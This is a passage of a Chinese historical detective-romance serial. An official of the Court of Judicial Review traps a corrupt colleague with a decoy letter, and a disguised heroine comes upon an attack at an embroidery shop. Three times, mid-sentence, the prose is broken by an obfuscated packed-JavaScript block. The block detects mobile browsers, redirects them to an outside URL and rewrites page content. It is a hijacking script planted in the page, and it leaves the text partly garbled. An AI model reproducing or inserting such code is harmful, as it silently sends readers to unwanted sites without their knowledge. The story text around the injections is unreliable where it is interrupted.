苏彦清“嗯”了一声，指尖仍停在骷髅的额骨上，目光未离书卷：“你看这右侧顶骨的旧伤，是钝器斜击所致，愈合痕迹清晰，至少是三年前的伤。”他的声音平静，仿佛在谈论笔墨纸砚。 一旁手下应和道：“大人终日和这些骸骨尸首打交道，剖辨幽微，验尸之道精进如神，恐怕再过得三冬五夏，卑职就要没饭吃了。” 菀柔藏在门后，心下稍定。原来这只是仵作用来研习的骨头，并非什么凶案证物。可这苏公子也太过奇特，竟能对着骷髅谈笑风生。 “大人，既然那王二是受人指使的，那指使之人会是谁呢？谁会跟方大人有如此过节？话说那王二原也不是方府的人，但那位当年也不过是拉拢方大人未果，还不至于积怨如此之久，下手如此之狠毒吧？”余晖抱胸问道。 苏彦清翻书的动作顿了顿，骷髅在案上轻轻滚动了一下：“或许他们之间，又有新账了。” 菀柔屏息听着，对于他们所谈之事半懂不懂。 苏彦清伸手托起骷髅。昏灯摇曳，那嶙峋的白骨甫一离案，便在地面与墙壁上投下巨大、扭曲、兀自晃动的暗影，如蛰伏的鬼魅骤然苏醒，接着他幽幽开口道：“眼下此事死无对证，想必又要从其他地方下手了。”话未说完，却忽然停住，似是意识到隔墙有耳，目光淡淡扫向门口。 菀柔心头一跳，脚下不慎踢到门槛边的花盆。 “谁？”两人目光如电射向门口。 幸而张菀柔乃习武之人，霎时间就闪至假山之后。忽然，假山后的花园深处又传来一阵琴声。那琴声清越婉转，如流水过石，瞬间冲淡了张菀柔内心的肃然。 她循着琴声快步走进花园。夜色渐浓，月光给假山亭台镀上银边，琴声来自水榭旁的假山后。菀柔绕过一丛盛开的月季，见月下石桌旁坐着个青衫公子，正垂眸抚琴——是苏应中。此刻他指尖起落，琴弦震颤，月光洒在他微垂的眼睫上，竟有种说不出的温柔。 一曲终了，苏应中抬眸看见她，微怔后起身行礼：“张小姐？”心下不禁称奇，那朱贤弟拍着胸脯说只要他在后花园弹琴，便能引来张小姐，不料果真如此。 菀柔脸颊微红：“苏公子琴艺精湛，方才……是我唐突了。” “小姐言重了，”他笑道，目光落在她微蹙的眉尖，“听小姐声音似有不安，可是在园中迷路了？” 菀柔想起后厢房的骷髅与案情，心有余悸地点头，又觉不妥：“只是厅内有些闷，出来透透气。” 苏应中指了指石凳：“此处僻静，小姐若不嫌弃，可坐下歇歇。” 菀柔依言坐下，目光落在水榭边的墨兰上。叶片修长，花苞微绽，透着幽香。 “苏公子也爱兰？”她轻声问。 “略懂一二，”他为她倒了杯茶，“兰花高洁，不以无人而不芳。不过比起园中的这些，小姐的汀兰圃更是独到。” 菀柔惊讶抬眸：“公子如何得知？” “哦，我也是从旁人那里听说的。” “旁人？” “哦，就是白日里帮我们离开花圃的朱贤弟，他是我舍弟彦清的朋友之弟。近日，借住在府上。” “原来如此，今日多谢——”，谈话间，张菀柔渐觉轻松，本想双手抱拳，旋即想起父亲的叮嘱，立马又双手轻搭左腰侧，颔首施礼道：“多谢两位公子的搭救。” 苏应中见状，立马回礼道：“小姐不必如此多礼。不知令尊可知今日之事。” “他——他还未知晓。”张菀柔面露难色。 “小姐可是有什么难处？”苏应中执起茶盏的手微微一顿，墨玉般的眸子里漾着关切。 张婉柔犹豫了片刻，叹气道：“那日，家父知晓我在望月楼教训卢公子之事，甚为恼怒。他又当是我使小姐性子，故而今日之事，菀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763211|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔不想再提。”说到此处，她望着远处，忽然住了话头。 “竟有这等事！”苏应中惊得茶盏险些脱手，眉峰微蹙道，“那卢公子无礼在先，小姐教训他原是应当的！” “唉，只怪我少时纵性任情，让爹爹忧心不已。” 见她长睫低垂，苏应中忽地将茶盏一放，石案发出轻响：“小姐莫忧，此事苏某来设法。” 张菀柔轻轻摇头，抬眸间发觉其似乎有些忿忿，忍不住掩口笑起来。 苏应中见其发笑，情绪稍稍平和下来，柔声道：“小姐不必拘礼，想笑亦可开怀。舍弟彦清亦不是拘于俗礼之人，虽然那日我俩都见你……”苏应中边说边握拳比划了两下，“但是此事的来龙去脉，我们尽收眼底，亦知小姐此举全是迫不得已。” 听到“彦清”二字，张菀柔的笑色敛了三分，苏应中有些似是有所察觉，连忙继续道：“苏某没有想到张小姐不仅身怀绝艺，更兼深谙莳花之道。真乃剑气如虹，兰心蕙质，刚柔并济，令人叹服！”苏应中情切之下，竟将满腔倾慕之语冲口而出。言罢，二人赧色更甚，所幸夜色朦胧。 二人又低声相谈了盏茶时分，石桌上的茶烟渐渐散作轻雾，苏应中指尖叩着微凉的杯沿，见张菀柔鬓边步摇随话音轻颤，恰有一片桃花花瓣落进她未饮尽的茶汤里。 忽然，廊外传来环佩轻响，丫鬟绿萼提着一盏素纱灯款步而来，“张小姐，公子，”绿萼福了福身，“时候不早了，请用膳吧。” 张菀柔起身理裙摆，苏珩起身时也顺手拂去了衣摆上的落花，“多谢公子的茶，还有这曲《平沙落雁》。” 苏应中柔声回道：“得遇知音清赏，苏某三生有幸。” 话毕，张菀柔脸颊微红地随着丫鬟的指引转身朝正厅走去。月白裙摆在夜色中飘动，如欲飞的蝶。 三人踏过青石板上碎金似的灯影前行，丫鬟手中的羊角宫灯轻晃，将花廊雕梁上的缠枝纹投在水袖间，忽明忽暗里能听见远处正厅的丝竹声，混着宾客笑语从月洞门漫过来。张菀柔忽然觉得，这场探春宴似已走向预料之外的方向。她本期待的相看之人此刻或还在后厢房与骸骨为伴，而眼前这月下拨弦的男子，却让这琴音落进了她的心湖，连鬓边新簪的兰花，都在晚风里颤出了意料之外的涟漪。 身后，苏应中望着她的背影，抬头望望皎洁的月色，嘴角漾起温柔笑意。 彼时的苏彦清也随着丫鬟的传请，往灯烛辉煌的正厅行去。他眉峰微蹙，眼下他正为两件事发愁：一是不知朱贤弟今日所献此计，能否顺遂如愿，二是因那传信女子在绣荷之下留的小字“方府藏奸算，理寺隐祸端。奸邪沆瀣契，相府冷箭寒。” 苏彦清将怀里的帕子拿出来又看了看，低声自语道：“方府、相府、大理寺……大理寺里的祸端是谁呢?这手帕又是出自谁手?莫非是——” “嗯?公子怎么了?”丫鬟停住脚步，转身疑惑道。 “没，没怎么。”苏彦清伸手作请状，丫鬟继续带路了。 庭院深处的探春宴，终是在众人各自的心事里，拉开了序幕。 28. 诱蛇出洞 更漏已滴过三更，铜壶滴漏之声在空寂的书斋里碎作珠玉轻响。苏彦清临窗危坐，指尖素色绣帕被烛火映得半透，帕角银线绣就的残莲之下，细如蚊足的墨字“理寺隐祸端”赫然入目。 “寺丞……”他垂眸喃喃，指腹摩挲着绣帕边缘的缠枝纹，丝线在指下沁着凉意。案头青铜砚台冰得浸手，砚池未干的墨痕凝着幽光，恰如他心绪如砚池墨浪般翻涌。忽忆起那日在大理寺内，饮过寺丞亲斟的茶汤后，便觉眩晕欲裂，眼前幻象迭生。幸得武贤弟及时施救，当时他便提点过茶中或含胡茄花，只那时手中积案如麻，竟将这警示抛诸脑后。 此刻指尖的绣帕微微发颤，烛芯爆起灯花的轻响惊得他一颤。或许那次眩晕并非偶然，恰是某桩案件的暗线，再联想起前日那神秘女子的密信，寺丞此举便如冰面裂纹般，在他脑海中延展出清晰的脉络。 夜风潜入窗缝，将烛芯撩得噼啪爆响。苏彦清起身掩上窗棂，目光落向书案上摊开的《官簿》。暗线早有密报传来，寺丞近月频繁出入城西九蛟堂，那处表面是江湖武馆，实则是严相豢养死士的巢穴。 据陈聘密禀，九蛟堂的人已突袭吴宅数日。观余晖与朱穆的举止神情，不难揣度他们真正欲捕之人应是武贤弟。吴宅中与武贤弟有血亲关联的，唯有朱氏祖孙二人，可老爷子却突然踪影全无，朱贤弟又暂居苏府…… 想到此处，苏彦清指尖叩在案头的《官簿》上，烛火将书页上的朱批映得忽明忽暗——王仲年、阎府门客…… 九蛟堂屡遭挫败，恐将狗急跳墙，围守苏府拿人。窗外风声渐急，檐角铁马叮咚作响，恰似苏彦清心头绷紧的弦。 “贤弟究竟握有何等秘密，让阎相如此忌惮？”苏彦清按住突突跳动的太阳穴，指节叩响了桌案。他想起武贤弟曾提及与方府是旧亲，而方大人恰是在武贤弟抵京后两日便“引火自焚”。这时间的巧合绝非偶然，难道方大人与阎相的新仇，竟是因武贤弟而起？ 这个念头刚冒出来，便被他自己否决了——大人明明是因其女秋燕而死。不过，这一切，恰恰也是发生在武贤弟来临安之后。 “若真是如此……”苏彦清倒抽一口冷气，目光落在舆图上阎相府的位置，“武贤弟与阎相之间，究竟有何深仇大恨以至于阎相居然能找到这样的一层关系而至方大人于死地。若方大人没有包庇秋燕，在阎相看来亦不过是看了一场戏，而且这本子还是自己十几年前就落笔了的。但是没想到方大人居然爱女如此，更没料到事情最后竟演变成这般迷局……” 这一晚，苏彦清又是在少卿阁的榻上和衣而眠。 晨曦微露时，苏彦清已换上素色襕衫，携了祭礼前往方府，他心中清楚，若想厘清武贤弟与方大人的关联，必须得从方夫人哪里问出点什么。 据观守方府的暗卫禀告报，方夫人近来潜心礼佛，足不出户，方府内依然挂着素幡，灵堂内香烟缭绕。方夫人一身素缟，面容枯槁，正对着佛像捻珠诵经。听到苏彦清的问询后，方夫人捻珠的手猛地一顿，随即又恢复了古井无波的平静，缓缓抬眼，轻声道：“阿弥陀佛，苏大人问的，老身一概不知，大人请回吧，老身累了。” 话音未落，她已转身入内，留下一串佛珠碰撞的轻响。苏彦清望着她日渐消瘦的背影，心中愈发笃定——方夫人绝非不知内情，只是这内情已令其方大人天各一方，方大人尚不能自保，更何况这一府孤弱呢。 “大人，”陈聘在门外低声道，“大人，要不我找找朱公子。” 苏彦清眸光一凝道：“近日着意盯着朱穆的行踪，尤其是他出府之际，多派两队护卫暗中随侍。”陈聘喉头微动，欲言又止，无奈地应声退下。 回到大理寺，苏彦清立刻在案几上铺开纸张，提笔疾书。既然方夫人缄口不言，便只能从寺丞王仲年身上突破。他一改往日笔迹，在一张泛黄的宣纸上写下：“阎相罪证，公子亲启。” “陈聘。”苏彦清将桑皮纸密信卷成细条，就着烛火封入蜡丸，指尖的龙脑香蜡油凝出云纹封印。他将蜡丸递到陈聘掌心，沉声道：“选个手脚利落的弟兄，扮作乞丐在吴宅附近晃荡，须得让他们‘抢’到这信。” “啊？”陈聘喉头微动，望着蜡丸上模糊的封印面露疑惑。苏彦清摆手示意他近身，在他耳畔低语数句。烛火摇曳间，陈聘瞳孔微缩，随即恍然颔首，铁护手相撞发出轻响，抱拳沉声道：“大人放心。” …… 残阳斜斜切过朱雀街酒旗时，蹲在“醉仙楼”墙根下的年轻乞丐正用竹片剔着后槽牙。他约莫十八九岁，青布小褂碎得像渔网，露出的小臂却透着股精悍的蛮力，腰间系着根草绳，绳头拴着个豁口瓦罐，每晃一下都发出几枚铜钱的脆响。店小二挥着抹布赶人时，他突然把瓦罐往门槛上一磕，蹦出五枚磨边的铜钱：“小爷我有钱！”沙哑的嗓音带着少年人特有的粗粝，帽檐下那双眼睛却亮得惊人，像藏着两把淬了火的锥子。 辰时三刻的日头斜过酒旗时，少年已在“醉仙楼”檐下蛰伏了第二日。昨日他便是揣着半罐子铜钱，点了一碗最便宜的阳春面，从早上坐到了黄昏。他吃面时吸溜声大得盖过前台账房的算盘响，吃完了面就追着食客们问吴宅的人去哪了。当掌柜的忍无可忍，劝他走人时，角落里喝酒的青布短打终于互递了个眼色——那少年乞丐腰间草绳下，隐约露出半截藏刀的刀柄，动作间带着股子练家子的利落。 暮色漫上飞檐时，少年乞丐踅到吴宅墙根下。他先是装作系鞋带，突然扑向门缝，右手刚摸出油纸包，背后陡然生风！四个九蛟堂打手如鹰隼般扑来，为首那人腰畔铜铃“叮铃”一响，少年却不慌不忙，就地一个鹞子翻身避开锁喉手，破草鞋踢起墙角碎石，正中最前面那人面门。”抢钱啦！”他边退边喊，瓦罐“哐当”落地，铜钱和烙饼滚了一地，左手却死死护着怀里的油纸包。 四人互递眼色，突然围拢上来。为首那人腰畔铜铃轻晃，指节蹭着刀柄笑道："小兄弟，我等带你去见吴宅主子如何？” 乞丐鼻腔里哼出冷嗤：“你们？”帽檐下的眼睛突然眯成利线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763212|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“凭什么信一群穿短打的能进高门大院？” “那我等又凭什么信你这要饭的身上有信？”左侧汉子踏前半步，靴尖碾碎了乞丐脚边的半块饼。 小乞丐不屑一笑：“爱信不信。” “你这小叫花子敢耍横？”右侧汉子按耐不住，手刚探向腰间，手掌刚探向腰间佩刀，却见少年突然甩了甩破烂的袖管，破布片扫过砖缝时溅起泥星：“看你们靴底没沾吴宅门前的青石板灰，倒像巷口赌坊的打手——想抢东西？”他故意将油布包往墙根踢了踢，草绳下的刀穗如蛇信子般窜出寸许。 话音刚落，四道黑影骤然扑来。棍棒交击声震得檐下蛛网簌簌掉落，少年肩头吃了一棍，油纸包脱手滚落在地。为首的汉子劈手抢过，粗粝的指腹碾开蜡丸，打手抢步拾起重摔开蜡丸，粗嘎嗓音震得檐尘簌簌："他是吴府的人？” 趁众人错愕间，乞丐反手撞翻柴垛，顺势抽出藏在草绳里的短刀。刀身锈迹斑斑，却在暮色里划出冷光："谁管你吴府武府！拿钱替人跑腿罢了！" "吴家怎会用你这黄口小儿？”打手靴尖碾着地上铜钱。 “他们找的当然不是我，原先那个送信的半路病死了，若不是见我长得像他早逝的儿子，怎么会轮得到我!”他边说边试图弯腰捡地上的铜钱。 一打手道：“信上怎就一行字？” "要命的东西敢全带身上？” 见四位打手再次逼近，乞丐又忙道“三日后戌时！”他退到墙根，刀尖指着为首的打手，少年人特有的狠戾从眼底冒出来，“叫阎相派个穿官靴的来此处！百两纹银换真据！否则，它们将出现在大理寺门口！”话音未落，他突然将短刀掷向打手，转身就往墙头上爬，动作快得像只狸猫。待众人挥刀砍来时，他已翻身跃下，只留半块碎布挂在墙钉上，排水沟里还响着他撒腿狂奔的脚步声。 九蛟堂堂主带着几个打手撞开雕花槅门时，寺丞王仲年正慢条斯理地用银匙拨弄茶盏浮沫。他们耳语了几句，气得王仲年将茶盏摔得粉碎。 一打手道：“那小子会些把式，拳脚路数像北地翻子拳，却又混着南派短打。”又抹了抹额头的汗道，“那小子说三日后不见官靴和百两纹银，就把他手上的东西贴到大理寺。” 窗外更夫敲过二更，梆子声在寂静里格外刺耳。 “百两纹银……”他低声重复，鬓角的青筋正随着烛火明灭，突突地跳。 “要报知阎相吗？”堂主盯着他颤抖的袖口。 寺丞摇头道：“不可。盯梢吴宅，是相爷亲交的差事,更何况相爷向来只看结果。” 话虽如此，王仲年的后槽牙却咬得发酸，他抓起镶玉的马鞭，闷声交代道：“三日后，帮我找二十个好手，本官要亲自会会这个小犊子！回府！”青铜镇纸被袖风扫落在地，惊飞了案头栖息的夜蛾，也映出他靴底沾着的、与吴宅墙根同色的红泥——那是方才打手们跪地时，从鞋底蹭到案几上的痕迹，此刻正随着他急促的脚步，在青砖上留下一串深浅不一的暗印。 29. 谜局初现 三日之后，天穹如墨砚倾翻，浓稠的夜色里唯有几点寒星碎玉般嵌在天幕。苏彦清带着三十余手下蛰伏在吴宅外的槐树林中，各人皆着夜行衣，兵刃掩在袖中，连呼吸都压得轻浅。夜风卷过枯枝，发出细碎的沙沙声，与众人胸腔里擂鼓般的心跳声交织在一起，恍若一张无形的网笼罩着这片寂静的宅邸。 戌时三刻，更鼓声声撞破夜幕。寺丞王仲年裹着一袭玄色斗篷，果然出现在了巷口。他袖中百金随步伐轻晃，金锭相击发出细碎的清响，在静谧中格外刺耳。两列打手左右护持，腰间佩刀在月光下泛着冷芒。行至吴宅门前，众人皆顿住脚步——门环上挂着个油纸包，内里字条已被夜露洇得发皱，墨字晕开些许，却仍可辨清：大人需亲逾犬窦而入吴宅，置百金于内，再往后园凉亭瓦砾之下取罪证。 “钻狗洞？”一打手挠了挠头，粗眉拧成一团，目光落在墙根那尺许高的犬窦上，“大人，咱惯会翻墙，这洞怕是……”话音未落，便被王仲年一记眼刀截断。寺丞咬牙扯下半片衣襟垫在膝头，锦缎擦过掌心时发出细微的簌簌声：“那乞丐既能从你们手里溜走，此刻必在暗处窥伺。若不从命，罪证恐难到手。”他瞥向院墙上斑驳的爬山虎，忽觉某处阴影似有异动，枯叶轻颤间仿佛藏着一双窥视的眼睛，忙抬手掩口咳了两声，袖中沉香气息混着夜色漫开。 王仲年挑了两个偏瘦的打手随他蜷身入洞，玉带銙刮过砖石的刺耳声响里，王仲年听见一打手嘟囔：“早知该带矮脚虎来……”话音未落，膝盖已撞上碎石，疼得闷哼一声。王仲年膝头的衣襟很快被露水浸透，凉意渗进肌理，他却无暇顾及，唯有盯着洞口外的微光，如困兽般蜷伏着往里挤。 甫一落地，一股花香扑面而来。檐角残雪未消，青瓦泛着冷白的微光，朱漆门框虽有些许剥落，却隐约可见新拭的痕迹。王仲年摸出火折子，刚要照向瓦砾，忽闻前街传来拍门声：“开门！巡夜！” “不好！”王仲年瞳孔骤缩如针，后颈瞬间沁出冷汗。他慌忙将湿透的字条揉成纸团塞进靴筒。转身欲往后院逃窜时，玄色斗篷却被斑驳的石栏勾住，锦缎撕裂声如夜猫抓挠窗纸，刺得耳膜生疼。他踉跄着往前扑，腰间玉带銙磕在石柱上，迸出几点火星。 门外刀光闪处，金铁交鸣！缠斗不过须臾，黑衣人或被反剪双臂按倒在地，或被利落击晕。苏彦清使了一下眼色，陈聘便飞身掠至朱漆大门前，只见他沉腰扎马，运足十成内力踹向门栓，“咔嚓“声中木屑飞溅，门轴发出垂死的吱呀，整扇大门轰然向院内倾倒，惊起满地尘埃。 “什么人？”众人持刀冲进吴宅，月光在苏彦清的玄服上镀了层冷银。两名打手本能抽刀，刀刃相撞声惊飞梁上夜枭。王仲年趁乱滚到墙根，却见陈聘刀光一闪，已卸了黑衣打手的短刀。 苏彦清从旁接过灯笼，烛光照在寺丞王仲年的脸上，映出他豆大的汗珠。”原来是……寺丞大人。”苏彦清绕着王仲年转了一圈，慢悠悠道：“我当是谁呢，王大人深夜私闯民宅，意欲何为？”苏彦清用刀尖挑起王仲年滑落的荷包，十锭官银骨碌碌滚了一地，“他忽然凑近，压低声音，“按律法，''夜无故入人家内者，杖八十''，若再持械拒捕……” “苏大人误会！”王仲年强作镇定，后背冷汗却浸透中衣，“本官...本官正在查案！” “查案？”苏彦清踢开脚边瓦砾，露出半块刻着“吴“字的断砖，“吴府已荒废十余年，那吴老爷如今也早已驾鹤西去，不知道王大人查的哪门子案？” “吴大人虽已归逝，但——但这宅中近日住进——进人了，下官正是准备查他一查，万一是什么盗匪可就辱没了吴大人。”王仲年磕磕巴巴解释道。 苏彦清忽然笑道：“可是查到了什么？” “还——还没。”王仲年喉间发苦，心下暗想自己明明还未暴露，这苏彦清为何此时偏偏在此？ “哦，也就是说，王大人案子没查清楚，还偷盗人家钱财。”只见苏彦清突然从袖中取出律例册页：“王大人听好了——''诸夜入人家，杖八十''。若入户索取财务还要按“贪赃罪“论处...“他指了指地上的官银，“赃满一贯便要流放，你这百金……” “这钱不是吴家的！”王仲年脱口而出。 “哦？”苏彦清挑眉，“那是谁的？” 寂静如铁，压得人喘不过气。王仲年与苏彦清共事亦有数年，知道此人擅拿律法当刀使。他攥紧拳头，指甲刺破掌心：“是...是友人所赠。” “友人姓名？”苏彦清翻开空白供状，“王某人不说，本官便按‘私闯民宅兼挟带不明财物’定罪了。” 王仲年此刻有苦说不出，此时若胡诌个人来，眼前这人必会刨根问底，甚至连这金银的炼造之处都要细究，若最后连累了相爷，别说自己的性命，恐怕连妻儿的安危都难保。他喉间泛起腥甜，终于颓丧垂首：“王某人无话可说，苏大人要如何处置？” “按律，先杖八十。”苏彦清掷下供状，朝旁人吩咐道：“等他签完字，画了押，先押回地牢。” 亥时初刻，大理寺廊下。陈聘忍不住开口问道：“大人，咱折腾半夜，就为了明儿打他一顿？” “八十杖足以让他三个月无法当值。”苏彦清顿了顿又道，“明日的折子再参他一本，教他再也回不得京城。” “可……”陈聘脸色稍显遗憾。 苏彦清掂着手上的百金道：“你想如何？” “那阎相……”陈聘皱着眉头，挠着后脑勺。 “你当真以为他会吐露真言？即便他招供，凭此微末之事，也断难撼动丞相根基。倒不如顺势而为，借此良机，拔掉这根毒刺！”苏彦清忽而侧首，望向陈聘道：“此次何故如此急迫？” 陈聘面色一沉，从掏出怀里的一封信笺，双手呈上。只见其上信笔涂鸦着：方鹤堂……前丞相吴淙言遭阎相构陷被贬岭南，吴公任职梅州知县期间，疏浚荒田、教化乡邻……然阎忌之，遣人投毒，公含恨而逝……望早雪其冤。 苏彦清指尖捏着那页薄如蝉翼的宣纸，墨字寥寥数语却似有千钧之重，压得他掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763213|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微发颤。烛火在青铜烛台上明明灭灭，将他紧抿的唇角映得忽明忽暗，指节因用力而泛起青白，仿佛要将纸上字迹刻进骨血里。 陈聘垂手立在案旁，喉结微动，压低声音道：“今早府里丫鬟替朱公子整理书房时拾到了一纸诉状，属下唯恐惊扰了朱公子，只匆匆记下了几笔.....“话音未落，便见苏彦清指尖重重叩在“梅州知县“四字上，烛花突然爆响，溅出几点火星。 “吴淙言......方鹤堂......“苏彦清喃喃自语，声线低沉，此刻思绪如潮水般涌来：记忆里那个在大理寺前门，满脸疲惫的青衫少年与武贤弟的脸渐渐重合。那日他拾到的诉状上分明写着的就是梅州知县吴淙言，想必是在寺丞那里吃了闭门羹，故而他垂头离去时竟不知丢了诉状，他心里当时定是对大理寺失望至极吧！而方大人也正因为写了这诉状，才被迫害致死。吴知县、方大人、秋燕母女、佟默娘……多少无辜之人因那奸相落入万劫不复的深渊谷底？而这大理寺，竟在自己眼皮底下，暗藏着那刽子手的帮凶！ “王仲年！”想及此，苏彦清怒不可遏，一掌猛击书案！力道之猛，竟使小指骨节生生撞在案头金锭上，豁然裂开一道血口，他却浑然不觉痛楚，霍然转首，对门口护卫厉声喝道：“速将王仲年押赴刑房！不用等明日了！取那新制的棘鞭来！” “遵命！”几名胥吏闻令，如蒙赦令般疾趋而出。 陈聘小心翼翼道：“那武公子是——吴公子？” 苏彦清气息稍定，道：“阎相秉政不过十载有余，彼时武贤弟当已垂髫记事。你且助我查一查临安府官户簿来。” 二人倾箱倒箧，终在藏书阁的故纸堆中觅得前朝京官户籍。发黄的卷册上赫然录着： “开定元年，吴淙言独子吴涵之之妻，诞女吴昭音……” 苏彦清目光触及“吴昭音“三字时，慌忙地合上书卷。 “大人可是寻得了？”陈聘不待答言，遽然探手取过苏彦清手中卷册。一目扫罢，两人竟相顾失色，久久不能言。 少顷，苏彦清终是缓声启唇，打破了这满室岑寂：“这——这武贤弟，无论他是否是吴家的子嗣，如今都是阎相的眼中钉，肉中刺。依我看来，查其身份事小，救其性命事大。” “对，对！”陈聘频频点头。 苏彦清又继续道：“为防阎相横生枝节，明日我须亟早启禀圣上，不若今日便至此为止。”说罢，他略加整饬了散乱的书卷，便要拉着陈聘离开藏书阁。 长廊上传来陈聘好奇的询问：“大人，你如何知晓那寺丞有问题的?大人，你说说嘛——” 苏彦清隐隐约约地已经猜到何人送信了，但是，他不敢宣之于口。 这一夜，他辗转难眠，他反复回忆着那些与吴昭音一同断案的点点滴滴，还有那夜同囚阎府的梅簪少女，托小乞丐送信的神秘女子……百念交驰，旧忆如朔风卷地，尘沙迷眼，纷繁难辨。 “是你吗？吴昭音——”苏彦清低声呢喃，分不清是自语，还是梦话…… 30. 花容失色 暮春的细雨如烟似雾，缠绕着席春阁飞檐上的铜铃，发出细碎的清响。吴昭音伏在临窗的绣架前，指尖轻抚过最后一片羽毛的金线，终于搁下了绣针。窗外的雨丝斜斜飘入，沾湿了她鬓角的碎发，却掩不住她眼底的疲惫与坚毅。案几上的《百鸟朝凤》在昏暗的烛光下泛着柔和的光泽，凤凰尾翎的金线栩栩如生，仿佛下一刻便要振翅欲飞。 三更梆子响过，席春阁的烛火渐次熄灭，唯有后堂的窗棂还透着微光。女掌柜花蓉身着一袭月白缎面襦裙，轻轻推开房门，腕间的翡翠镯子在寂静中发出清脆的碰撞声。“武姑娘”，她的声音里带着关切，“明日巳时三刻，卢府的人便会来取货。你……可准备好了？“接着她从袖中取出一个精致的锦盒，里面是几锭白银和一张做工精细的假文牒。“这是假户籍。”她轻声道，“明日一早便出城吧，去闽州做个寻常姑娘。” 吴昭音望着锦盒里的文牒，指尖微微发颤。她何尝不想离开这个充满血腥与阴谋的京城？可是，家仇之恨日日在她梦中浮现，“掌柜的。”她的声音里带着几分哽咽，“多谢救命之恩。只是……我尚有心愿未了，不能就此离去。”她抬起头，目光坚定，“我既已扮丑藏拙，旁人不会认出我。留在京城，或许更有机会……” 花蓉欲言又止，最终只是轻轻拍了拍她的手背，“既然你心意已决，我也不勉强。只是万事小心，切莫冲动。“说罢，她替吴昭音添了些炭，便转身离去，留下一室沉香袅袅。 次日巳时，席春阁内一片繁忙。吴昭音正在整理绣线，忽听得楼下传来一声惊呼，紧接着便是此起彼伏的慌乱声响。她心头一紧，连忙放下手中的活计，往楼下跑去。 只见绣坊中央围了一群人，花蓉仰面躺在织锦堆里，脸色苍白如纸，脖颈间一道暗红的勒痕触目惊心。大徒弟连枝跪在一旁，满脸泪痕，正在大声呼救。 “花掌柜！“吴昭音趁隙挤开人群，扑到花蓉身边。她颤抖着伸手探了探花蓉的鼻息，发现尚有微弱气息，这才稍稍松了口气。抬头看向周围众人，只见连枝眼神闪烁，其他绣娘则是满脸惊慌。 就在此时，门外传来一阵脚步声，紧接着便是一道清冽的男声响起：“让开。”人群自动分开一条路，只见来人身着青衫，腰间挂着冰花水苍玉佩，“苏彦清！”吴昭音心中一惊，立马起身躲至一旁。 苏彦清目光如电，扫过现场，随后沉声吩咐：“封锁席春阁，所有人不得出入。即刻去请仵作。“他的手下迅速行动起来，不多时，现场便被严密控制。 苏彦清环视了现场一圈，发现并无桌椅翻倒，物品散落，门窗破损和泥土足迹等打斗痕迹。地上也无血迹分布，更无明显的作案凶器。他缓步走到花蓉身边，俯身查看她的伤势。“是谁最先发现的？”他抬头问道。 “是……是我。“连枝颤巍巍地站起身，“我刚才来给师傅送茶，就看见她……倒在地上，怎么叫都不醒，脖子上还有伤……“”她的声音里带着哭腔，眼中却闪过一丝慌乱。 苏彦清微微颔首，继续问道：“何时发现的？“ “大约半刻钟前。“连枝答道，“我一看见就大声呼救了，大家都赶来了。“ “花掌柜最近可曾与人有过纠纷？”苏彦清的目光在众人脸上一一扫过。 众人闻言，纷纷将目光投向连枝。连枝脸色一白，急忙分辨：“师傅是教训过我，说我不该偷改绣样，坏了席春阁的名声……可我怎么会害师傅呢？再说，师傅今早还见了卢府的管家，你们怎么不怀疑外人？“ 苏彦清挑眉，正欲追问，忽然闻到空气中有一丝若有若无的焦味。“什么味道？“他皱眉问道。 “像是头发烧焦了……“有绣娘小声道。 “是羽毛吧！“连枝道。 “不对。“吴昭音忽然开口，“是一种禽兽或者鳞虫骨骼烧焦的气味，甚至带有一丝——”她的声音冷静清晰，如同一股清泉注入这慌乱的氛围。 苏彦清闻言道“腥味？”，他转身望向了这个蒙着面纱的女子。她身形纤瘦，却透着一股坚韧之气，尤其是那双眼睛，清澈见底，竟让他心中微微一动，仿佛在哪里见过。 苏彦清定了定神，伸手探了探花蓉的鼻息，“尚有气息。”他吩咐手下，“将花掌柜抬到通风处。“ “不可！“吴昭音急忙阻拦，“此时移动伤者，恐有不妥。“她深吸一口气，鼓起勇气说道，“民女略通医术，能否让我试试，看能否先救醒花掌柜？“ 苏彦清打量着她，心中疑惑更甚。这女子究竟是谁？为何会出现在这里？又为何会医术？他正欲开口询问，却被连枝打断。 “就凭你？“连枝冷笑一声，“虽然你的绣技尚可，但谁不知晓你是咱们席春阁里最怪的人，整日里带着个面纱，你能懂什么医术？指不定安的什么心呢！师傅说你是远房亲戚，待你亲厚，谁知道是不是你……“ 苏彦清挥了挥手，陈聘立马上前喝止道：“大人问你了吗？休得喧哗！“ 